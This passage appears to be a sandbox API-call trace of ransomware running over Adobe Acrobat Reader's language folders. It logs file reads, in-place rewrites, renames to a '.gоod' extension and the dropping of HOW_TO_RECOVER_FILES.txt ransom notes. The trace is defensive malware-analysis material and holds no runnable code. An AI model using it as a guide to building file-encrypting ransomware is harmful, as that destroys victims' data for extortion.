lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\pl-pl\\ui-strings.js", lpFilePart=0x0) returned 0x77 [0167.921] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeba80) returned 1 [0167.921] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\pl-pl\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\core\\dev\\nls\\pl-pl\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x347fd30 | out: lpFileInformation=0x347fd30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee81a6f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee81a6f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee81a6f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x3e51)) returned 1 [0167.921] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeba40) returned 1 [0167.921] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\pl-pl\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb460, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\pl-pl\\ui-strings.js", lpFilePart=0x0) returned 0x77 [0167.921] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeb980) returned 1 [0167.921] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\pl-pl\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\core\\dev\\nls\\pl-pl\\ui-strings.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x80c [0167.922] GetFileType (hFile=0x80c) returned 0x1 [0167.922] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeb8f0) returned 1 [0167.922] GetFileType (hFile=0x80c) returned 0x1 [0167.922] SetFilePointer (in: hFile=0x80c, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1ffebad8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1ffebad8*=0) returned 0x1000 [0167.922] ReadFile (in: hFile=0x80c, lpBuffer=0x3480208, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1ffebaa8, lpOverlapped=0x0 | out: lpBuffer=0x3480208*, lpNumberOfBytesRead=0x1ffebaa8*=0x1000, lpOverlapped=0x0) returned 1 [0167.923] CloseHandle (hObject=0x80c) returned 1 [0167.923] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\pl-pl\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb460, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\pl-pl\\ui-strings.js", lpFilePart=0x0) returned 0x77 [0167.923] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeb980) returned 1 [0167.923] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\pl-pl\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\core\\dev\\nls\\pl-pl\\ui-strings.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x80c [0167.924] GetFileType (hFile=0x80c) returned 0x1 [0167.924] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeb8f0) returned 1 [0167.924] GetFileType (hFile=0x80c) returned 0x1 [0167.924] SetFilePointer (in: hFile=0x80c, lDistanceToMove=0, lpDistanceToMoveHigh=0x1ffebad8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1ffebad8*=0) returned 0x3e51 [0167.924] WriteFile (in: hFile=0x80c, lpBuffer=0x3481500*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1ffeb9c8, lpOverlapped=0x0 | out: lpBuffer=0x3481500*, lpNumberOfBytesWritten=0x1ffeb9c8*=0x10, lpOverlapped=0x0) returned 1 [0167.925] CloseHandle (hObject=0x80c) returned 1 [0167.925] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\pl-pl\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb460, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\pl-pl\\ui-strings.js", lpFilePart=0x0) returned 0x77 [0167.925] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeb980) returned 1 [0167.925] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\pl-pl\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\core\\dev\\nls\\pl-pl\\ui-strings.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x80c [0167.925] GetFileType (hFile=0x80c) returned 0x1 [0167.925] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeb8f0) returned 1 [0167.925] GetFileType (hFile=0x80c) returned 0x1 [0167.925] ReadFile (in: hFile=0x80c, lpBuffer=0x3483820, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1ffeba58, lpOverlapped=0x0 | out: lpBuffer=0x3483820*, lpNumberOfBytesRead=0x1ffeba58*=0x1000, lpOverlapped=0x0) returned 1 [0167.953] CloseHandle (hObject=0x80c) returned 1 [0167.953] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\pl-pl\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb460, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\pl-pl\\ui-strings.js", lpFilePart=0x0) returned 0x77 [0167.953] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeb980) returned 1 [0167.953] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\pl-pl\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\core\\dev\\nls\\pl-pl\\ui-strings.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x80c [0167.953] GetFileType (hFile=0x80c) returned 0x1 [0167.953] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeb8f0) returned 1 [0167.953] GetFileType (hFile=0x80c) returned 0x1 [0167.954] WriteFile (in: hFile=0x80c, lpBuffer=0x3482518*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1ffebb08, lpOverlapped=0x0 | out: lpBuffer=0x3482518*, lpNumberOfBytesWritten=0x1ffebb08*=0x1010, lpOverlapped=0x0) returned 1 [0167.954] CloseHandle (hObject=0x80c) returned 1 [0167.954] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\pl-pl\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb5b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\pl-pl\\ui-strings.js", lpFilePart=0x0) returned 0x77 [0167.954] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\pl-pl\\ui-strings.js.gоod", nBufferLength=0x105, lpBuffer=0x1ffeb5b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\pl-pl\\ui-strings.js.gоod", lpFilePart=0x0) returned 0x7c [0167.954] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeba40) returned 1 [0167.954] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\pl-pl\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\core\\dev\\nls\\pl-pl\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x1ffebb20 | out: lpFileInformation=0x1ffebb20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee81a6f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee81a6f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x605227a8, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x3e61)) returned 1 [0167.954] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeba00) returned 1 [0167.954] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\pl-pl\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\core\\dev\\nls\\pl-pl\\ui-strings.js"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\pl-pl\\ui-strings.js.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\core\\dev\\nls\\pl-pl\\ui-strings.js.gоod")) returned 1 [0167.955] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\pl-pl\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1ffeb720, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\pl-pl\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x82 [0167.955] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffebc40) returned 1 [0167.955] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\pl-pl\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\core\\dev\\nls\\pl-pl\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x80c [0167.955] GetFileType (hFile=0x80c) returned 0x1 [0167.955] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebbb0) returned 1 [0167.955] GetFileType (hFile=0x80c) returned 0x1 [0167.956] WriteFile (in: hFile=0x80c, lpBuffer=0x3502260*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1ffebd08, lpOverlapped=0x0 | out: lpBuffer=0x3502260*, lpNumberOfBytesWritten=0x1ffebd08*=0x5d0, lpOverlapped=0x0) returned 1 [0167.957] CloseHandle (hObject=0x80c) returned 1 [0167.957] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffebcd0) returned 1 [0167.957] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\pt-br", nBufferLength=0x105, lpBuffer=0x1ffeb770, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\pt-br", lpFilePart=0x0) returned 0x69 [0167.957] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\pt-br\\*", lpFindFileData=0x1ffeb9f0 | out: lpFindFileData=0x1ffeb9f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7eca8e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7eca8e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7eca8e, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec31f90 [0168.494] SleepEx (dwMilliseconds=0x5, bAlertable=0) returned 0x0 [0169.425] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7eca8e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7eca8e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7eca8e, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0169.425] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee7eca8e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7eca8e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7eca8e, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x3d39, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0169.425] FindNextFileW (in: hFindFile=0x1ec31f90, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0169.425] FindClose (in: hFindFile=0x1ec31f90 | out: hFindFile=0x1ec31f90) returned 1 [0169.425] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebc10) returned 1 [0169.426] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebbd0) returned 1 [0169.426] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffebcd0) returned 1 [0169.426] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\pt-br", nBufferLength=0x105, lpBuffer=0x1ffeb770, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\pt-br", lpFilePart=0x0) returned 0x69 [0169.426] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\pt-br\\*", lpFindFileData=0x1ffeb9f0 | out: lpFindFileData=0x1ffeb9f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7eca8e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7eca8e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7eca8e, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1283d30 [0169.426] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7eca8e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7eca8e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7eca8e, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0169.426] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee7eca8e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7eca8e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7eca8e, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x3d39, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0169.426] FindNextFileW (in: hFindFile=0x1283d30, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee7eca8e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7eca8e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7eca8e, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x3d39, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0169.426] FindClose (in: hFindFile=0x1283d30 | out: hFindFile=0x1283d30) returned 1 [0169.426] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebc10) returned 1 [0169.426] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebbd0) returned 1 [0169.427] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\pt-br\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb5b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\pt-br\\ui-strings.js", lpFilePart=0x0) returned 0x77 [0169.427] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeba80) returned 1 [0169.427] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\pt-br\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\core\\dev\\nls\\pt-br\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x355eeb0 | out: lpFileInformation=0x355eeb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee7eca8e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7eca8e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7eca8e, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x3d39)) returned 1 [0169.427] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeba40) returned 1 [0169.427] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\pt-br\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb460, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\pt-br\\ui-strings.js", lpFilePart=0x0) returned 0x77 [0169.427] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeb980) returned 1 [0169.427] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\pt-br\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\core\\dev\\nls\\pt-br\\ui-strings.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x640 [0169.428] GetFileType (hFile=0x640) returned 0x1 [0169.428] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeb8f0) returned 1 [0169.428] GetFileType (hFile=0x640) returned 0x1 [0169.428] SetFilePointer (in: hFile=0x640, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1ffebad8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1ffebad8*=0) returned 0x1000 [0169.428] ReadFile (in: hFile=0x640, lpBuffer=0x355f388, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1ffebaa8, lpOverlapped=0x0 | out: lpBuffer=0x355f388*, lpNumberOfBytesRead=0x1ffebaa8*=0x1000, lpOverlapped=0x0) returned 1 [0169.429] CloseHandle (hObject=0x640) returned 1 [0169.429] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\pt-br\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb460, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\pt-br\\ui-strings.js", lpFilePart=0x0) returned 0x77 [0169.429] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeb980) returned 1 [0169.429] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\pt-br\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\core\\dev\\nls\\pt-br\\ui-strings.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x640 [0169.429] GetFileType (hFile=0x640) returned 0x1 [0169.429] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeb8f0) returned 1 [0169.429] GetFileType (hFile=0x640) returned 0x1 [0169.429] SetFilePointer (in: hFile=0x640, lDistanceToMove=0, lpDistanceToMoveHigh=0x1ffebad8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1ffebad8*=0) returned 0x3d39 [0169.430] WriteFile (in: hFile=0x640, lpBuffer=0x3560680*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1ffeb9c8, lpOverlapped=0x0 | out: lpBuffer=0x3560680*, lpNumberOfBytesWritten=0x1ffeb9c8*=0x10, lpOverlapped=0x0) returned 1 [0169.430] CloseHandle (hObject=0x640) returned 1 [0169.430] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\pt-br\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb460, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\pt-br\\ui-strings.js", lpFilePart=0x0) returned 0x77 [0169.430] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeb980) returned 1 [0169.430] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\pt-br\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\core\\dev\\nls\\pt-br\\ui-strings.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x640 [0169.431] GetFileType (hFile=0x640) returned 0x1 [0169.431] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeb8f0) returned 1 [0169.431] GetFileType (hFile=0x640) returned 0x1 [0169.431] ReadFile (in: hFile=0x640, lpBuffer=0x35629c0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1ffeba58, lpOverlapped=0x0 | out: lpBuffer=0x35629c0*, lpNumberOfBytesRead=0x1ffeba58*=0x1000, lpOverlapped=0x0) returned 1 [0169.459] CloseHandle (hObject=0x640) returned 1 [0169.459] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\pt-br\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb460, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\pt-br\\ui-strings.js", lpFilePart=0x0) returned 0x77 [0169.459] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeb980) returned 1 [0169.459] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\pt-br\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\core\\dev\\nls\\pt-br\\ui-strings.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x640 [0169.459] GetFileType (hFile=0x640) returned 0x1 [0169.459] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeb8f0) returned 1 [0169.459] GetFileType (hFile=0x640) returned 0x1 [0169.459] WriteFile (in: hFile=0x640, lpBuffer=0x35616b8*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1ffebb08, lpOverlapped=0x0 | out: lpBuffer=0x35616b8*, lpNumberOfBytesWritten=0x1ffebb08*=0x1010, lpOverlapped=0x0) returned 1 [0169.459] CloseHandle (hObject=0x640) returned 1 [0169.459] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\pt-br\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb5b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\core\\dev\\nls\\pt-br\\ui-strings.js", lpFilePart=0x0) returned 0x77 [0169.460] GetFullPathNameW 